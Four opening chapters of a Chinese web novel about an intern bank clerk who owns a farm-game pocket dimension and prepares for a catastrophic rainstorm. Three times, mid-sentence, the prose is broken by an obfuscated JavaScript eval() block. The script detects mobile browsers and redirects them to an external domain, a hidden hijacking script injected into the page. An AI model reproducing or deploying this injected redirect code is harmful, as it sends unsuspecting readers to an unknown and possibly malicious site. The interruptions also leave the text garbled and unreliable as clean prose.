《带着农场游戏穿末世》 1. 第 1 章 见电脑屏幕的光彻底暗了下去，秦小薇坐在电脑椅上伸了个懒腰。 坐在她左手边的年轻女孩转着酸痛的脖子抱怨道：“今天早上怎么这么多人取钱？我这一早上就没停下来过，连个喝水的时间都没有……” “我也忙了一上午……”秦小薇嘴里心不在焉地附和着，她的视线落在手机屏幕上，脑子里闪过最近吃过的各种外卖。 实习的银行离她租的房子很远，来回要一个多小时，要是遇到上下班高峰路上堵车，通勤的时间就更久了，实习几个月，她已经习惯了中午留在银行吃饭午休。 看到手机上未读信息的数量后，秦小薇忍不住皱了下眉。 手机不知何时调成了静音，上午太忙，她根本没时间看另外一部专门和同学朋友联系的手机，因此也就没注意手机来了新消息。 手机里有9条未读短信，全是Q省气象灾害应急预警中心发的，上面说，三天后Q省将会发生特大暴雨，特大暴雨会持续一周以上，让居民做好应急准备。 短信除了提醒市民不要外出，还说了遇到危险该怎么自救，暴雨前需要做什么准备…… 看完短信，秦小薇的眉头皱得更紧了，她又打开聊天软件，寝室群、班级群、年级群全都炸了，全都在讨论Q省特大暴雨的消息。 短信上提到特大暴雨造成的严重积水可能会淹到三层，校领导开会决定让一到三层的学生搬到高层，大群里都在讨论协调寝室的事，小群则是在抱怨没抢到食物。 他们学校虽然有好几个食堂，但每个食堂都只有两层，大家都很担心这几天会断粮，收到短信后，学生们一窝蜂涌进了超市，连受潮的散装饼干都没放过，现在学校附近连一根棒棒糖都买不到。 预警短信是上午九点发的，秦小薇那个时候忙着接待客户，因此也就错过了抢购物资的“黄金期”。 秦小薇匆匆浏览了一遍未读消息，又打开预警中心发的那几条短信仔细研究了一遍，她的眉头才舒展开。 问题不大，她不缺吃的，回去接点自来水囤着，再按照短信上说的把阳台加固一下就行了！ 加固阳台需要的工具和材料她都有，只要她好好待在家里，这场暴雨大概率不会对她的生活造成什么影响。 就是下周不能摆摊了，会少赚一个月的生活费。 不过她现在没有经济压力，最近要兼顾实习、毕业论文和赚钱也挺辛苦的，下暴雨这几天，就当是给自己放假了。 秦小薇关掉短信，打开外卖软件，准备点个外卖安抚一下自己已经开始“抗议”的肠胃。 翻了好几倍的配送费让她刚刚舒展的眉头又皱了起来，她不死心地往下滑了滑，试图找到一家配送费比较低的外卖店，却发现附近还在营业的外卖店少得可怜，零星几家营业的店铺，配送费也是20往上，平均配送时长更是一个半小时起步。 现在点外卖，她下午上班前能不能吃到午饭都是个问题。 实习工资只有一千多的秦小薇果断关掉了外卖软件，准备用空间里的东西对付一下。 是的，她有一个农场空间。 这是她穿越后的金手指。 秦小薇上辈子是个社畜，日复一日繁杂又无趣的工作中，游戏是她唯一的心灵寄托，白天要上班，她只能晚上熬夜肝游戏，因为连着半个月熬夜到凌晨，某个晚上，她身体没熬住，直接猝死了。 之后，她就穿越成了这个世界的秦小薇。 这个世界的社会发展和她上辈子生活的世界差不多，就像是平行世界，两个世界有很多相似的地方，秦小薇很快就适应了。 就是新身份太穷了，不仅是个孤儿，还欠了国家一大笔助学金。原主大学还没毕业，但她不仅修了双学位，还找了四份兼职，每天就只能睡四五个小时。为了赚钱，原主有时候还会通宵搞剪辑。 原主是因为睡眠不足，在去兼职的路上骑车打瞌睡，才出车祸没的。 秦小薇上辈子是因为睡眠不足熬夜猝死的，原主也是因为睡眠不足骑车打瞌睡没的，穿越后她痛定思痛，觉得压缩自己的休息时间，透支身体赚钱很不可取。 出院之后，她把原主几份兼职都辞了，只留了一个学校食堂打菜的兼职维持基本开支——住院花了不少钱，她又没有存款，兼职要是全辞了她来大姨妈的时候连一包姨妈巾都买不起。 好在秦小薇有农场空间这个金手指，农场里的东西还能拿出来，她利用农场里的东西摆摊赚钱，短短两年，她不仅还清了助学贷款，还有了些存款。 农场空间和秦小薇上辈子熬夜猝死前玩的那款游戏《快乐农场》很像，但也有很多不同，比如农作物和工坊生产东西的时间比上辈子长；工坊和农田里生产东西不是用鼠标操作，而是要进入农场空间手动操作；升级也比上辈子难很多…… 穿越两年，秦小薇的农场空间只升到了二十一级，和上辈子三个月升到满级的速度简直没法比。 虽然农场空间升级很慢，但是秦小薇并不着急，她摆摊卖的爆米花和面包是游戏三级和五级的时候解锁的，升级后虽然会解锁更多东西，但新解锁的东西生产时间也长，并不能让她赚更多钱。 之前没实习的时候，秦小薇周一到周五上课，周末去学校附近的小吃街摆摊，虽然一周只干八到十天，但因为成本很低，农场空间出产的面包和爆米花味道好，回头客很多，生意一直不错，每个月最少都有五六千的收入。 碰到国庆假期人流量比较大的时候，有时候一个假期就能赚两三万，暑假和寒假就赚得更多了…… 她摆摊的小吃街离学校不远，要是她能吃苦，晚上的夜宵高峰期也去，稳定月入过万基本上不成问题，农场空间现在肯定也不止二十一级！ 但是原主和上辈子熬夜猝死的经历让秦小薇心有余悸，“人没了，钱还没花”的事经历一次就够了，因此她在规划时间的时候一直很注意，不让自己太累。 秦小薇先去了女厕所，关上厕所隔间的小门后，她直接进了空间。 农场空间很大，她目前解锁的区域不到百分之十，但已解锁的区域占地却有好几十亩。 除了土地，农场另一边还有一大片海洋，不过那片海洋只能观赏，外加每天下两根钓竿。 秦小薇曾试过坐空间里的船下网捕捞海货，也试过在退潮的时候在沙滩上赶海，但每次都一无所获，她连个贝壳都捡不到。 未解锁的区域，在秦小薇眼里是一片一望无际的绿色森林，未解锁区域和已解锁区域中间有一道透明的“墙”，她暂时过不去。 《快乐农场》里，解锁新区域需要金币和建材，穿越后，农场空间扩建不需要建材了，但依旧需要金币，且扩建需要的金币一次比一次贵。 现在扩建一块地的金币已经涨到五千多了，下一次升级会解锁养猪场，建养猪场、买猪崽需要大笔金币，为了攒金币，她已经很久没扩建了。 虽然已解锁的土地已经有好几十亩了，但是一眼看过去，并不显得空旷，甚至还有些拥挤。 虽然才二十一级，但农场里的基础建筑基本上都解锁了。 养鸡场、养牛场、商店、码头、机场、零食厂、乳品厂…… 除了可以帮她赚金币和经验的基础建筑，空间里还有很多“装饰物”，比如说路灯、圣诞树、雪屋、水族馆…… 这些装饰物大部分是参加节日活动的奖励，小部分是升级的时候系统赠送的，以及她收鱼竿的时候从海里钓上来的。 空间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043597|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里错落有致的建筑，是她这两年不断进出空间的劳动成果。 秦小薇走到黑土地旁的草地上，在意念的操控下，黑土地边缘升起一个半透明的虚拟屏幕，她熟练地在屏幕上点了几下，先一键收获田里已经成熟的玉米，再买些玉米种子种下去…… 种子种下去之后，每颗种子上方都出现了一个半透明的倒计时：04:59:59。 这片空间虽然很大，但只有黑土地能让作物快速成熟，秦小薇试过，空间里其他地方种不出东西，要想在空间其他地方种东西，只能从空间外面挖土带进来。 秦小薇试过用花盆种玉米和小麦，同样是系统出品的种子，它们在花盆里生长得非常慢，不仅要浇水施肥捉虫，照顾得不够精心还会生病。 和黑土地里等时间到了就可以一键收获的作物根本没法比。 她空闲时间不多，除了学业还要兼顾赚钱，试过一次之后，她就放弃了在空间其他地方种东西的想法。 黑土地是在系统商店里买的，价格很便宜，两金币就能买到一块1*1米的黑土地，但是升一级才解锁一块黑土地的购买权，“经营”农场两年，秦小薇也才拥有二十一块黑土地。 收完玉米，她上了边上一辆粉色的四轮卡通车，朝着另一边的零食厂开去，零食厂生产的爆米花非常受顾客的欢迎，从她开始摆摊之后，零食厂机器的轰鸣声就没停下来过。 粉色卡通四轮车是升级的时候系统奖励的“装饰物”之一，操作非常简单，既不用加油也不用充电，一点不耗能，车速和外面的汽车没法比，就和骑自行车差不多，但也比用两条腿走路快。 上辈子玩游戏的时候，秦小薇用鼠标点两下，黑土地和工坊生产的东西就自动收进仓库里了。 游戏变成现实之后，就算她把工坊都安放在同一片区域，每个工坊走一遍，步行依旧需要十几二十分钟，她也不能每天花一两个小时在厕所里蹲着，为了节省时间，只能用代步车。 收完工坊、黑土地、家禽家畜、码头的东西，又给它们安排了新的生产任务，秦小薇才从空间出来。 这套流程她已经重复了无数遍，连路线都是她专门规划过的最节省时间的路线，从进空间到出来，她只花了不到三分钟。 她踩了下厕所里的冲水踏板，在“哗啦哗啦”的水流声中，打开隔间门走了出去。 从厕所出来之后，秦小薇径直去了更衣室，借着柜门的遮掩，从双肩包里“拿”出了一盒原味酸奶和一包曲奇饼干。 曲奇饼干一包只有一块，一块比她的脸还大，一块饼干一斤重，普通年轻女孩可能要吃两三顿才能吃完，但秦小薇饭量大，一顿就能吃完。 穿越后，她的长相和上辈子差不多，瓜子脸瑞凤眼，右眼的眼尾还有一颗泪痣，长相明媚艳丽。 但穿越后，她的身高从163cm变成了180cm，还是个练举重的体育生，身上的肌肉，某些天天吃蛋白粉的男人见了都要自愧不如。 忽然长高了17㎝，每天看到的“风景”都不一样了，相应地，她的饭量也比穿越前大了很多，一顿吃一块一斤重的曲奇对她来说完全是小意思。 秦小薇拿着杯子去饮水机旁接了杯温水，才开始吃中饭。 曲奇是烘焙工坊生产的，原材料是两斤未脱壳的小麦和两颗鸡蛋，明明原材料里没有任何油脂和奶制品，但曲奇吃起来却又酥又脆，奶香十足。 秦小薇把这归功于农场的黑科技。 酸奶则是农场空间里的乳品厂生产的，原材料是四瓶500ML的牛奶，但出产的酸奶一份不到200克，秦小薇不知道中间的损耗去哪了，但空间出产的酸奶是真的好吃，她就生产了一些放仓库里，想吃的时候就拿一盒。 2. 第 2 章 除了她，银行不少员工都离家很远，很多员工都选择自己带饭，办公室有微波炉，热饭很方便，众人围在办公桌旁，一边吃饭一边聊天。 秦小薇找了个空位坐下，加入他们。 以往他们吃饭的时候聊天，基本上都在吐槽工作，今天上午大家都收到了预警中心发的短信，短信里的内容太过骇人，某些家住低楼层的员工很发愁，因此今天大家的话题都和即将到来的暴雨相关。 “我家就住一楼，肯定会被淹，我老公让我请假回去搬家……唉，东西搬去哪还没着落呢！我请假回去有什么用？我家去年才装修的，那些电器被水一泡，肯定不能要了！还有木地板，我家全屋都是木地板……”穿着职业套装的中年女人用筷子戳着饭盒里的米饭，脸上写满了忧愁。 听到她的话，边上的同事给她出主意：“要不你问问同楼层的邻居？给点钱，看看他们能不能腾点地方给你放家具，我听说搬家公司都排满了，现在根本找不到人帮忙搬家，梅姐，你千万别找太远的地方，搬家不方便……” “对对对，我也听说了，现在找搬家公司都是3000起步……” 见中年女人满脸愁色，秦小薇也帮忙出了个主意：“梅姐，要不你去附近的酒店订个房间放家具，我同学说，上午很多酒店都开通了家具寄放服务。” 这个话题过后，他们又开始讨论家里的车子该怎么办，现在车库大多都建在地下一二层，真要是淹到二三楼，车库肯定不能幸免，要是有很多车都被淹了，保险公司也不一定会理赔…… 众人七嘴八舌地说着，大部分人都没心情吃饭，秦小薇那块超大块曲奇饼干都吃完了，有好几人饭盒里的饭都还没动。 听着众人的讨论，秦小薇不由得庆幸自己有个农场空间。 由于每周末都要出去摆摊，以及给自己的生意“进货”打掩护，她花3000块买了一辆小型电动三轮车，就停在小区的地下车库里。 要是没有空间，她那辆电动三轮车也不知道该往哪送，而现在，她只要找个没监控的地方把车转移到空间里就行了。 吃完中饭，秦小薇拿出手机，和室友聊了一会。 办公室的同事都在聊车子房子，室友则是在担心暴雨那几天会挨饿。 【范槿：山海路那家超市也被抢空了，售货员说明天早上才会补货。】 【范槿：大哭.jpg】 【肖琳琳：我请了假，凌晨去批发市场囤货，那边凌晨三点就开始批发，你们要不要和我一起？】 【范槿；约约约！网上说得太吓人了，我必须囤够半个月的物资才安心！】 她们寝室住了四个人，四个人都在本地实习，其余三人的实习工资都在四千左右，市里的物价不算低，要是出来租房子，日子就会变得紧紧巴巴，因此其余三个人没在外面租房，一直住在学校寝室。 秦小薇每天都要进空间，和室友住一起不方便，大二下学期就从寝室搬出来了，之前没实习的时候，她只有中午会回寝室午休。 秦小薇想了想，在手机上打字。 【秦小薇：我之前买了很多草莓麦片当早饭，有几袋还没开封，可以转卖给你们，要不要？】 草莓麦片和爆米花一样，是零食厂生产的，原材料是两份小麦两份草莓，和曲奇一样，一份一斤重，麦片被机器压缩成了长方体，像是大号的压缩饼干，吃的时候要用刀切块。 草莓麦片直接吃，味道和草莓味的薯片差不多，口感脆脆的；加点牛奶蜂蜜泡着吃，又是麦片的味道，饱腹感很强，拿来当代餐完全没问题。 室友们都知道秦小薇去小吃街摆摊的事，她对外说是从亲戚那拿的货，她们一直没怀疑。 消息刚发出去，范槿的消息就弹了出来。 【范槿：要要要！薇薇，是上次你在寝室吃的那种草莓麦片吗？你有几包？】 【秦小薇：可以分你们六包。】 【范槿；那咱们三一人两包？】 【肖琳琳：可以！】 【段霞：行，薇薇，草莓麦片多少钱一包？我转给你。】 秦小薇想了想，给了她们一个低价。 【秦小薇：20一袋。】 消息发出去没多久，她就收到了三个室友的转账。 生产一份草莓麦片需要两斤草莓两斤小麦，草莓又大又甜，秦小薇偶尔拿出来散卖，也要卖25块一斤，20一袋的草莓麦片，确实是低价了。 【肖琳琳：饭饭，那咱们明天还去批发市场吗？】 【范槿：去！我外婆今天没抢到菜，我去买点菜送回家。】 秦小薇和室友们聊了一会，就准备午休了，但她刚趴下没多久，肩膀就被人拍了一下：“小秦，你过来，帮忙搬点东西。” 拍她肩膀的是经理，秦小薇因为长得高、力气大，又是体育生，偶尔需要搬重物又找不到男同事的时候，大家都会找她，她也习惯了被同事当男人对待。 秦小薇没有推辞，应了一声就从座椅上站了起来：“张姐，要搬什么？” 按照短信里的消息，银行大厅也会被淹，银行里有不少电器，要是被水泡了，对银行来说也是不小的损失。 银行不远处有个小区，管理层联系了小区的开发商，租了两套高层、空置的毛坯房，暂时把东西搬到小区里，等水退了再搬回银行。 秦小薇四处看了看，不论男女，没回家的员工都没闲着，全都在帮忙搬东西。 秦小薇一手一台小型打印机，跟在经理后面：“张姐，现在就把东西搬走，咱们行明天不营业了吗？” 走在前面的中年女人摇了摇头：“领导说银行关门会引起社会恐慌，上面下了文件，要求咱们站好最后一班岗，坚持到后天下午，领导让我们现在搬东西，是担心后天下午来不及。” 秦小薇：“这样啊……” 跑上跑下一个多小时，她累出了一身汗，两点的时候，她又被安排去了电脑前，为储户服务。 中午吃饭的时候，好几个同事说要请假回家搬家，但秦小薇扫了一眼，发现大家都在自己的岗位上——他们的假条领导都没批。 下午过来取钱的储户比上午还多，大厅里的座椅不够用，排队的人排到了街上，运钞车都来了好几趟——网上都在说暴雨会影响通信，到时候用不了网络支付，家里备点现金比较保险。 现在手机支付非常方便，有些家庭可能连一百块现金都拿不出来，看到消息后陷入恐慌的市民纷纷跑出来取钱，因此今天所有银行网点都是爆满的状态。 银行的工作并不好干，领导总是给大家开会，要求员工卖些奇奇怪怪的东西，还会让员工给亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043598|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋好友群发消息推销、给客户打电话推销各种一看就是坑钱的产品，完不成指标就要扣工资，或是让员工自己出钱买。 秦小薇并不打算留在这家银行，只想混张盖了章的实习证明就跑路，再加上她是实习生，只有底薪没有奖金，工资扣光了也就一千多，所以她对这些额外“任务”的态度非常消极，常常是嘴上说得漂亮办事拖拖拉拉。 反正只要她不犯太大的错，银行也不会随便开除她这个廉价实习生。 比起学校里经常加班的几个室友，她实习以后，大部分时间都很清闲，有时候下午太闲了，还能和同事去附近买奶茶和蛋糕当下午茶。 但今天，因为取款的储户太多，上面又下了文件，他们支行不得不延长营业时间，平时五点半就会关上的卷闸门直到晚上七点半才拉下来。 但银行关门了，并不意味着秦小薇就能下班了，还得业务复核、安全检查、扎账、开会…… 等她从银行出来的时候，已经快到十点了。 秦小薇手上提着大米和花生油，拖着沉重的步伐，扫了辆共享电动车。 大米和花生油是支行上周采购的，它们原本是吸引储户购买理财产品的礼品，但三天后银行就要被淹了，这几天又忙，分不出人手推销理财产品，粮油搬上搬下也不方便，行长留了一部分粮油送给大客户，剩下的则作为员工福利让他们分了。 秦小薇虽然是实习生，也分到了两袋20斤装的大米和一桶5L装的花生油。 如果银行的职工能接受顿顿吃炒饭，光是这两样东西就够他们度过暴雨那几天了。 秦小薇在共享电动车上固定好大米和花生油，坐上去启动了电动车。 晚上十点，早过了晚高峰，但回家这一路却堵得不行，搬家的车辆络绎不绝，路上的行人都在为几天后的暴雨焦虑。 秦小薇骑着共享电动车抄了好几条小路，才赶在零点之前到家。 公寓楼下就是商业街，隔壁还有个大型连锁商场，公寓楼层面积很大，一层有四十多户。楼栋里的住户很杂，有把房间打通开公司的，有开理发店的，还有开酒店式公寓的…… 秦小薇住九楼，她租了一间不到四十平的小公寓，公寓每个月的房租要比其他地段贵5、600，但这里离小吃街和学校近，不管是上学还是摆摊都能节省很多时间，因此就算楼栋里来往的人员鱼龙混杂，她也一直没有搬家。 公寓里很“热闹”，楼下停着好几辆装着家具的卡车，来来往往的行人都在忙着搬家。 公寓有六台电梯，秦小薇站在一楼等了十几分钟，也没等到一台电梯门打开——电梯在地下停车场装满后就直接上去了。 她耐心耗尽，便扛着大米、提着花生油走楼梯上了九楼。 上楼的时候，她碰到好几波搬家的工人，她不得不停下来侧着身体给他们让路。 到家之后，秦小薇用脚踢上大门，随手把大米、花生油放在玄关处，就迫不及待进了空间。 中午的曲奇饼干和酸奶早就消化完了，她现在饿得能吞下一头牛。 她没管工坊里已经成熟的农副产品，径直朝着雪屋跑去，哆嗦着身体在冰冷彻骨的雪屋里翻找出一盒半成品披萨和一袋半成品炸鸡。 找到食材她就出了空间，用烤箱和空气炸锅把披萨、炸鸡烤了。 3. 第 3 章 雪屋是她去年参加圣诞活动奖励的“装饰”，半球形，里面的空间大概有二十多平，雪屋里有桌椅、床，可以住人。但是里面太冷了，秦小薇在里面待一会儿就觉得自己要被冻僵了，热水放在里面也很快就会冻成冰。 出租房的冰箱很小，放不了多少东西，秦小薇便把雪屋当冰箱用，在里面存了不少吃的。 农场空间很大，但只有“仓库”才有保鲜功能，食物直接放在农场空间里，和放在外面一样，会腐败变质。想要拿取空间里的东西，要么进空间自己动手找，要么通过“仓库”用意念拿取。 但仓库得用金币扩容，有时候生产节奏没有控制好，仓库还会“爆仓”，农副产品的生产也会停滞，所以秦小薇很少用仓库装无关的东西，一些暂时用不到又占地方的东西，几乎全被她堆在那些被定义为“装饰”的房子里。 等待披萨和炸鸡烤熟的间歇，秦小薇又拿了个小奶锅，开始煮牛奶。 没多久，出租房的空气就被食物的香气占据了，秦小薇盘腿坐在茶几旁，就着热牛奶吃着这顿迟到的晚餐。 热量爆炸的糖油混合物抚慰了她饥肠辘辘的肠胃，因为工作带来的疲惫一下子消散了许多。 晚餐过半，秦小薇拿出自己的私人手机，开始查看网上的消息，至于那部专门用来工作的二手手机，则被她开了静音扔到沙发上。 辅导员在班群里发了消息，通知在本地实习的同学这两天搬回寝室，后天晚上要大查寝，不回去的同学要出具父母手写的保证书，保证暴雨期间学生安全自负，辅导员还单独给她发了消息提醒她这两天回寝室。 秦小薇想了想，给辅导员回了个“收到”。 原主的父母都去世了，要写保证书得找原主的姑姑姑父，想到上次和他们一家打交道的经历，秦小薇果断放弃了这个选项。 回复完导员，秦小薇又刷了会小视频，可能是因为她的IP在Q省，大数据给她推送的视频都和Q省特大暴雨相关。 她一连刷了半个多小时，收藏了一堆加固门窗的视频。 她工作日的晚上有夜跑的习惯，但今天工作时长严重超标，现在又快凌晨了，秦小薇打算偷个懒，等暴雨停了再继续夜跑。 因为太饿了，秦小薇吃得有点撑，她决定“活动”一下，再去睡觉。 她进了趟空间，找到之前从海里钓上来的大鱼缸，把里面的鱼分别捞到几个洗脸盆里，又清空了里面的水草和沙石。 她爬进鱼缸里，用刷子把鱼缸内壁仔细刷了一遍，准备用它储水。 鱼缸的形状是放大版的金鱼缸，刚钓上来的时候里面除了鱼还有各种景观，拿来当装饰，不输水族馆的鱼缸，就这么倒了她觉得挺可惜的。 不过她手里暂时没有合适的储水容器，农场里又只有海水，只能用这个鱼缸凑合一下。 之后她又把阳台上的洗衣机、烘干机搬进屋里，拿出工具，开始加固窗户…… 中途她还不忘拿一个塑料桶放在浴室接水，水接满了就转移到空间里之前刷干净的大鱼缸里。 她住的这间公寓面积不到四十平，但是功能很齐全，除了卧室之外，客厅、浴室、厨房、阳台一样不缺。 整间公寓，只有卫生间有一扇正儿八经的木门，其他的空间都是连通的。 厨房是全开放的，客厅和卧室只用帘子分隔开，卧室和阳台之间则是一扇薄薄的亚克力推拉折叠门。 公寓的优点是麻雀虽小五脏俱全，但所有的屋子都是连通的，要是阳台漏水，屋里其他空间也会遭殃。 秦小薇干得很认真，不仅加固了窗户，还把所有可能存在缝隙的地方都堵住了，之后又从空间里找了些木头出来，锯成长木条，在阳台和卧室之间堆出了一条“门槛”防水。 凌晨十二点，她在屋里干得热火朝天，丝毫不担心楼下的住户来敲门说她扰民——就门口和楼上楼下搬东西的动静，就算她不加固阳台，楼下的人估计也睡不着。 忙活了大半个小时，鱼缸装满了，防水门槛也弄好了，秦小薇才起身去浴室刷牙。 她不断打着哈欠，满脑子都是卧室柔软的大床，根本没心思收拾阳台散落满地的木屑和工具。 换好睡衣后，秦小薇熟练地塞上耳塞，关掉屋里的灯，摸黑把自己摔进卧室两米宽的大床上。 这栋楼的住户太杂，半夜走廊里时常能听到脚步声，不戴耳塞她根本睡不着。 但今晚似乎格外吵闹，就算戴着耳塞，秦小薇依旧能感受到隐隐约约的“咚咚”声。 那感觉，就像是她正处于一个大鼓中，有人从不同的方向不停地敲击鼓面，和她的心跳形成共振……这让她始终处于又困又睡不着的状态。 在床上翻腾了十几分钟后，秦小薇决定今晚去空间里睡。 她前年参加中秋活动的时候，系统奖励了一间“猎人小屋”，屋里有张单人木床，夏天为了节省空调电费，她经常住在里面。 农场空间除非是更换成“冬日雪景”这种特殊主题，其他时候，温度基本上保持在25度左右，非常舒适。 进入空间后，耳边隐约的“咚咚”声瞬间消失了，秦小薇躺到木板床上，不到一分钟，呼吸就变得均匀又平稳。 虽然并没有睡够八小时，但第二天早上六点半，秦小薇还是在生物钟的作用下睁开了眼睛。 她实习的支行九点开始营业，但职工八点就要到行里，接运钞车，做各种准备工作。 洗漱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043599|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、吃早饭、通勤需要时间，就算她每天六点半起来，每天早上依旧十分匆忙。 她叼着牙刷站在浴室里，对着镜子里的长发女孩打了个哈欠。 唉，实习的日子真不好过！不仅要天天早起，钱还少！ 等实习证明盖好章，她就租个门面开店“创业”，每天睡到八点！ 空间仓库里有工坊生产的面包，但秦小薇早上想吃点热的，便去楼下便利店买了四个包子一杯豆浆。 便利店的货架空空荡荡，便利店外面堆着很多箱子，都是送货员早上送过来的货，两个营业员搬着箱子不断进出补货，早上的温度有些低，可他们额头上却全是汗。 便利店里有座位，她找了个位置坐下，一边吃早饭一边刷手机。 两个室友凌晨去了批发市场，买到了新鲜蔬菜和一些耐储存的食品、水果。 【范槿：批发市场很多东西都不零售，只能整箱买，我们拿了一箱苹果、一箱圣女果还有三箱泡面，阿霞、薇薇，你们要不要分一点？它这个箱子特别大，苹果一箱有五十斤，我和琳琳吃不完，你们不要的话我再卖给其他同学。】 【段霞：我要二十包泡面，苹果和圣女果也要。】 【范槿：牛奶和饮料你们要不要？我们叫的车还有空间，可以装下。】 【段霞：牛奶我还有半箱，有没有可乐？给我带一箱可乐。】 【范槿：可以一箱24瓶。】 【段霞：OK】 【段霞：你们回来的时候和我说一声，我找快递驿站的老板借个小推车帮你们搬东西。】 【范槿：不用，阿霞你继续睡，我们先把蔬菜和鸡鸭送去我外婆家，等补完觉再回学校。】 【肖琳琳：薇薇呢？怎么一直没出现？】 【段霞：估计还在睡，薇薇昨晚说他们银行不给批假，还加班到很晚。】 【范槿：那等她醒了再说。】 看完聊天记录，秦小薇在群里回复：水果和泡面我都要，你们帮我留点，我今晚回寝室。 消息刚发出去，范槿就回复她了。 【范槿：行。】 【范槿：我和琳琳一直在玩手机，还没开始补觉，估计也要晚上才能回去。】 【范槿：对了，我今天听批发市场的人说个人不准大量囤积米面，大批量买米面粮油要去工商的什么小程序里面领什么许可，然后批发市场那边要扫码，说是现在买多少米面要看营业种类和营业额……挺复杂的。】 【范槿：薇薇，你亲戚是不是也要弄那什么许可？】 看到手机屏幕上跳出来的消息，秦小薇的眉头皱了下，许可？买米面粮油还要看营业额？ 秦小薇察觉到了一丝怪异。 4. 第 4 章 【秦小薇：没听我叔叔说过，他可能还不知道，我问问他。】 回复完范槿的消息，秦小薇就退出了聊天界面，上网查米面限购的事。 出乎她的意料，这件事竟然半年前就开始了，只不过国内只有部分地区限购，并没有扩散到全国，她所在的宁市则是上个月才开始登记，但也只是登记，并不限购，限购是几天前才开始的。 她的小摊并不需要“进货”，她也就不知道购买许可证的消息。 限购只针对大批量购买米面粮油，普通人平时在超市一次性买百八十斤大米，或是两三桶油之类的并不禁止。 小程序里给的购买额度很宽松，开店的商家去进货也只是多一道登记程序，除了不能大批量囤积原材料之外，并不会影响商家做生意。 预警中心昨天公布暴雨的消息后，Q省的普通人都在抢购食物，从昨天开始，就算有购买额度，商家也不一定能抢到米面，Q省商家这两天进不到货的现状算是特殊情况。 浏览完网上的消息，秦小薇的内心沉甸甸的，怎么……进货忽然就要许可证了？ 这条规定让从没进过货的秦小薇十分不安。 秦小薇三两口塞完一个包子，她双手握住手机，按照网上的教程打开小程序，填信息领米面粮油购买许可。 她周末摆摊并没有固定的店铺，一般这种小摊位不需要营业执照，也不需要交税。 但去年市政的工作人员找到她，要求她办营业执照，当时是小吃街的摊贩统一办理的，登记好信息等工作人员把证件送过来就行了，非常方便，她就跟着一起办了，有时候月收入超过了税收起征点，她还会主动上网交税。 毕竟她是打算把生意做大以后开店的…… 这些证件的照片就存在手机里，上传完照片后，秦小薇依照系统的指引填好了所有的信息，系统提示排队审核通过后，她才能看到自己购买米面粮油的限额。 除了证件，申领购买许可证的时候还要填营业额、商品单价、主要原材料、每月销量等，秦小薇花了十几分钟才弄完，等她关上手机的时候，已经快要七点二十了。 再不出发就要迟到了！ 秦小薇提起还没吃完的包子，一口喝完纸杯里的豆浆，冲出便利店准备扫共享电动车，出去没多久，她又折了回来，买了几个烧卖和一袋即食大鸭腿。 不知道中午能不能点到合适的外卖，提前备着点吧！ 和昨天下班时的路况差不多，路上一直在堵车，有昨天的经验在，她一路上都在绕小路，但就算是这样，她到银行的时候依旧超过了八点半。 “刘哥，对不起，路上堵车，我来晚了。”秦小薇和负责带自己的刘宏解释道。 刘宏摆了摆手：“没事，其他人也堵在路上了，运钞车也没来。” 听到他的话，秦小薇松了口气，运钞车还没来，营业前的准备工作没法做，她来晚了也不会影响什么。 今天支行的职工只到岗了三分之二，剩下三分之一一直没来，秦小薇以为他们是堵在路上了，给一个同事打电话询问工作的时候才知道，她今天不打算来了，要留在家里搬家。 “……反正行长也没资格辞退我，扣工资就扣吧！我家里这些东西不能被淹了……”电话里，女同事的态度十分硬气。 秦小薇：“……”领导不给批假就自己给自己放假，正式员工真有底气！ 想到进银行前看到的长队，秦小薇脸上露出一丝生无可恋。 今天估计又要忙到凌晨了！ 不到九点，银行外面就挤满了排队取钱的客户，卷闸门一打开，他们就蜂拥着冲进来取号办业务。 “服务员，这个机器怎么用，我的证件怎么刷不出来？” “你们怎么这么晚才开门？” “自动取款机怎么取不出钱？” “……” 大厅里的工作人员被众人围了个结结实实。 银行里的现金是不过夜的，柜面的现金每天晚上都会被运钞车拉走，要是晚上自动取款机里的钱被取完了，则需要银行的工作人员第二天手动放入，但今天路上太堵了，原本八点一十就会到的运钞车直到银行正式营业了都还没来。 来排队的客户基本上都是来取钱的，但银行柜面没有钱，自动取款机也取不出钱，这就导致明明大厅里挤满了办业务的客户，但秦小薇却坐在柜台无事可做。 她坐了没多久，就被经理叫了出去，经理让她帮忙给储户倒茶，安抚焦躁的客户。 刚开始的时候，听到“运钞机堵在路上”这个理由大部分储户都被安抚下来了，毕竟今天的路况是真的很差。 但随着时间的流逝，人们的耐心渐渐消失…… 